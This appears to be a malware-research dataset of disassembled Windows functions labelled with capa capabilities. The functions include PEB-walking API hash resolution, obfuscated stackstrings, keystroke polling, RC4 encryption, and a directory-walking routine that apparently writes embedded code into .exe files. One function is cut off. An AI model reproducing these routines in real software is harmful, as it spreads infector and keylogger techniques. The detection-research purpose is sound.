joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43f670
Capabilities:
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x5c6b7
mov dword [ebp - 4], 0xf8c9
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x43f6e8
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x43f6c1
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x43f6c1
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
lea eax, [eax + edx + 0x20]
mov dword [ebp - 0xc], eax
jmp 0x43f6d3
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
add ecx, eax
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
add edx, 1
mov dword [ebp + 8], edx
jmp 0x43f68b
mov eax, dword [ebp - 0xc]
and eax, 0x7fffffff
mov esp, ebp
pop ebp
ret

Function at 0x43f700
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], 1
jmp 0x43f736
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x43f794
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
push edx
call fcn.0043f670
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x43f792
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov eax, dword [ebp - 0x10]
mov cx, word [edx + eax*2]
mov word [ebp - 0x18], cx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
movzx ecx, word [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
mov eax, edx
jmp 0x43f796
jmp 0x43f72d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x43f7a0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
push ebx
push ecx
mov ebx, dword fs:[0x30]
mov ecx, dword [ebx + 0xc]
mov ecx, dword [ecx + 0x1c]
mov ecx, dword [ecx]
mov eax, dword [ecx + 8]
mov dword [ebp - 0x14], eax
pop ecx
pop ebx
push 0x3777cccb
mov eax, dword [ebp - 0x14]
push eax
call fcn.0043f700
add esp, 8
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x10]
push ecx
call dword [ebp - 0x18]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43fdd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push 0x74e3bb2e
call fcn.0043f820
add esp, 4
mov dword [ebp - 0x14c], eax
push 0x3749ca10
call fcn.0043f820
add esp, 4
mov dword [ebp - 4], eax
push 0x49f43cb7
call fcn.0043f820
add esp, 4
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x18], 0x23ec5044
mov dword [ebp - 0x14], 0x33af2093
push 0
push 2
call dword [ebp - 0x14c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x148], 0x128
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [ebp - 4]
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x140]
push eax
call fcn.0043fca0
add esp, 8
test eax, eax
je 0x43fec4
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x140]
push edx
call fcn.0043fca0
add esp, 8
test eax, eax
je 0x43fec4
lea eax, [ebp - 0x124]
push eax
push 0x100050d0
call dword [0x1000501c]
test eax, eax
je 0x43fec4
mov dword [0x10007128], 0
mov ecx, dword [ebp - 0x140]
mov dword [ebp - 0x154], ecx
lea edx, [ebp - 0x154]
push edx
push 0x10001790
call dword [0x10005090]
cmp dword [0x10007128], 0xa
jbe 0x43fec0
mov eax, 1
jmp 0x43ff26
xor eax, eax
jmp 0x43ff26
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [ebp - 0x150]
test eax, eax
jne 0x43fe42
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x66
mov byte [ebp - 8], 0x66
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x72
mov byte [ebp - 5], 0
lea edx, [ebp - 0x10]
push edx
push 0
call dword [0x10005098]
test eax, eax
je 0x43ff24
mov eax, 1
jmp 0x43ff26
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x440b00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e0
push esi
push edi
mov dword [ebp - 0x174], 0
mov dword [ebp - 8], 0
cmp dword [ebp + 0xc], 0
je 0x440c15
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp + 0xc]
push eax
call dword [0x10005000]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0xffffffff
jne 0x440b58
xor al, al
jmp 0x441309
push 0
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [0x10005064]
mov dword [ebp - 0x174], eax
mov edx, dword [ebp - 0x174]
push edx
push 8
call dword [0x10005034]
push eax
call dword [0x10005024]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x440ba0
mov eax, dword [ebp - 0x1b0]
push eax
call dword [0x10005018]
xor al, al
jmp 0x441309
mov dword [ebp - 0x1b4], 0
push 0
lea ecx, [ebp - 0x1b4]
push ecx
mov edx, dword [ebp - 0x174]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [0x1000506c]
mov edx, dword [ebp - 0x1b4]
cmp edx, dword [ebp - 0x174]
je 0x440c06
cmp dword [ebp - 8], 0
je 0x440bf2
mov eax, dword [ebp - 8]
push eax
push 0
call dword [0x10005034]
push eax
call dword [0x10005028]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [0x10005018]
xor al, al
jmp 0x441309
mov edx, dword [ebp - 0x1b0]
push edx
call dword [0x10005018]
jmp 0x440c4c
mov dword [ebp - 0x174], 0x10c0
push 0x10c0
push 8
call dword [0x10005034]
push eax
call dword [0x10005024]
mov dword [ebp - 8], eax
push 0x10c0
push 0x10006000
mov eax, dword [ebp - 8]
push eax
call fcn.004418a0
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 7
push 0x10000000
mov ecx, dword [ebp + 8]
push ecx
call dword [0x10005000]
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0xffffffff
jne 0x440c97
cmp dword [ebp - 8], 0
je 0x440c90
mov edx, dword [ebp - 8]
push edx
push 0
call dword [0x10005034]
push eax
call dword [0x10005028]
xor al, al
jmp 0x441309
push 0
mov eax, dword [ebp - 0x178]
push eax
call dword [0x10005064]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x138
jae 0x440cdf
cmp dword [ebp - 8], 0
je 0x440ccb
mov ecx, dword [ebp - 8]
push ecx
push 0
call dword [0x10005034]
push eax
call dword [0x10005028]
mov edx, dword [ebp - 0x178]
push edx
call dword [0x10005018]
xor al, al
jmp 0x441309
mov eax, dword [ebp - 0x10]
push eax
push 8
call dword [0x10005034]
push eax
call dword [0x10005024]
mov dword [ebp - 4], eax
inc ebp
cld
Function at 0x441310
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x10005060]
push 0x100050b0
lea edx, [ebp - 0x110]
push edx
call dword [0x10005014]
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x1000503c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x44135e
jmp 0x4415ae
cmp dword [ebp - 0x250], 0x10
jne 0x4413c9
movsx edx, byte [ebp - 0x224]
cmp edx, 0x2e
je 0x4413c9
mov byte [ebp - 0x254], 0x5c
mov byte [ebp - 0x253], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x360]
push ecx
call dword [0x10005060]
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x360]
push eax
call dword [0x10005014]
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x360]
push edx
call dword [0x10005014]
lea eax, [ebp - 0x360]
push eax
call fcn.00441310
add esp, 4
push 0x100050b8
lea ecx, [ebp - 0x224]
push ecx
call fcn.00440aa0
add esp, 8
test eax, eax
je 0x44144f
lea edx, [ebp - 0x224]
push edx
call dword [0x10005004]
movsx eax, byte [ebp + eax - 0x225]
cmp eax, 0x74
jne 0x44144f
mov byte [ebp - 0x46c], 0x5c
mov byte [ebp - 0x46b], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x468]
push edx
call dword [0x10005060]
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005014]
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x468]
push eax
call dword [0x10005014]
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005058]
push 0x100050c0
lea edx, [ebp - 0x224]
push edx
call fcn.00440aa0
add esp, 8
test eax, eax
je 0x44158b
lea eax, [ebp - 0x224]
push eax
call dword [0x10005004]
movsx ecx, byte [ebp + eax - 0x225]
cmp ecx, 0x65
jne 0x44158b
mov byte [ebp - 0x57c], 0x5c
mov byte [ebp - 0x57b], 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x578]
push eax
call dword [0x10005060]
lea ecx, [ebp - 0x57c]
push ecx
lea edx, [ebp - 0x578]
push edx
call dword [0x10005014]
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x578]
push ecx
call dword [0x10005014]
push 0
lea edx, [ebp - 0x578]
push edx
call fcn.00440b00
add esp, 8
movzx eax, al
test eax, eax
je 0x44158b
push 0x104
lea ecx, [ebp - 0x698]
push ecx
call dword [0x10005010]
mov byte [ebp - 0x58c], 0x5c
mov byte [ebp - 0x58b], 0x5c
mov byte [ebp - 0x58a], 0x73
mov byte [ebp - 0x589], 0x79
mov byte [ebp - 0x588], 0x73
mov byte [ebp - 0x587], 0x74
mov byte [ebp - 0x586], 0x65
mov byte [ebp - 0x585], 0x6d
mov byte [ebp - 0x584], 0x2e
mov byte [ebp - 0x583], 0x65
mov byte [ebp - 0x582], 0x78
mov byte [ebp - 0x581], 0x65
mov byte [ebp - 0x580], 0
lea edx, [ebp - 0x58c]
push edx
lea eax, [ebp - 0x698]
push eax
call dword [0x10005014]
lea ecx, [ebp - 0x698]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.00440b00
add esp, 8
push 0x64
call dword [0x10005038]
lea eax, [ebp - 0x250]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [0x10005050]
test eax, eax
jne 0x44135e
mov edx, dword [ebp - 4]
push edx
call dword [0x10005048]
mov esp, ebp
pop ebp
ret
Function at 0x4092ce
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00409465
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x4093cc
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x40936f
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x4093b2
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x409386
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x4093a1
test al, 0x40
je 0x409398
mov ecx, dword [edi + 0x20]
jmp 0x40939f
test al, 0x80
je 0x4093b2
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x4093b2
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x40933e
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x418b80
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b466b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004a8cd9
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x418c02
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004a68ed
mov eax, dword [eax]
push 0x6c9d0c
push eax
call fcn.00498804
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004a8f64
test bl, bl
je 0x418c02
push 0x6c9d0c
lea ecx, [esp + 0xc]
call fcn.004a92f4
push 0x6c9d18
lea ecx, [esp + 0xc]
call fcn.004a92f4
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x418c3e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004a8f64
jmp 0x418d09
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x418cc2
lea edx, [esp + 0x7c]
push 0x6c9d14
push edx
call fcn.00498804
add esp, 8
test eax, eax
je 0x418cc2
lea eax, [esp + 0x7c]
push 0x6c9d10
push eax
call fcn.00498804
add esp, 8
test eax, eax
je 0x418cc2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x418c52
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004a8f64
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x419500
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x419562
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x419570
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b46eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x6dead0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4196a8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4195d6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004a8f64
xor eax, eax
jmp 0x41971f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004a90a1
push esi
lea ecx, [esp + 0xc]
call fcn.004a9330
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x6c9d4c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4196fd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00419500
test eax, eax
jne 0x4196fd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00419500
test eax, eax
jne 0x4196fd
lea eax, [esp + 0x14]
push 0x6c9d28
push eax
call fcn.00499880
mov esi, eax
add esp, 8
test esi, esi
jne 0x4196dc
lea ecx, [esp + 0x14]
push 0x6c9d24
push ecx
call fcn.00499800
mov esi, eax
add esp, 8
test esi, esi
jne 0x4196dc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4196df
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004a9051
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4195ee
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004a8f64
xor eax, eax
jmp 0x41971f
mov byte [esi], 0
push 0x6c9d20
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004a8f64
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4

Function at 0x422a36
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
mov eax, dword [esi + 0x3a0]
test eax, eax
jne 0x422a5e
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x3a0], eax
pop esi
add esp, 0x190
ret
Function at 0x42d050
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42d0be
cmp si, 0x69
ja 0x42d0be
add esi, 0xffd0
cmp si, 0x11
je 0x42d08e
push 0x11
call edi
test ax, ax
jge 0x42d08e
or esi, 0x2000
cmp si, 0x10
je 0x42d0a3
push 0x10
call edi
test ax, ax
jge 0x42d0a3
or esi, 0x4000
cmp si, 0x12
je 0x42d0b8
push 0x12
call edi
test ax, ax
jge 0x42d0b8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42d0cb
mov esi, 0xbd
jmp 0x42d07f
cmp si, 0x6e
jne 0x42d0d8
mov esi, 0xbe
jmp 0x42d07f
cmp si, 0x6f
jne 0x42d079
mov esi, 0xbf
jmp 0x42d07f

Function at 0x42e960
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x6ef2a0]
xor edx, edx
cmp eax, edx
jne 0x42e986
xor eax, eax
mov byte [eax + 0x6ef1a0], al
inc eax
cmp eax, 0x100
jl 0x42e96e
mov dword [0x6ef2a0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x6ef1a0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x42ea17
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42e9ea
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x42e9b8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x42ea90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x42eae3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42eaca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x435f50
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4360e8
cmp ebp, ebx
jle 0x4360e8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x435fae
dec eax
or eax, 0xfffffff8
inc eax
je 0x435fb5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x435fc4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x435fcb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004a8ca5
add esp, 4
cmp eax, ebx
je 0x435fec
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004a8ca5
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4360de
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4360c5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4360b1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4360a6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4360b4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4360b4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x436050
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x436041
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x439400
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4b6098
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x439439
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004b0652
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004b069e
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004394c0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004b06db
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24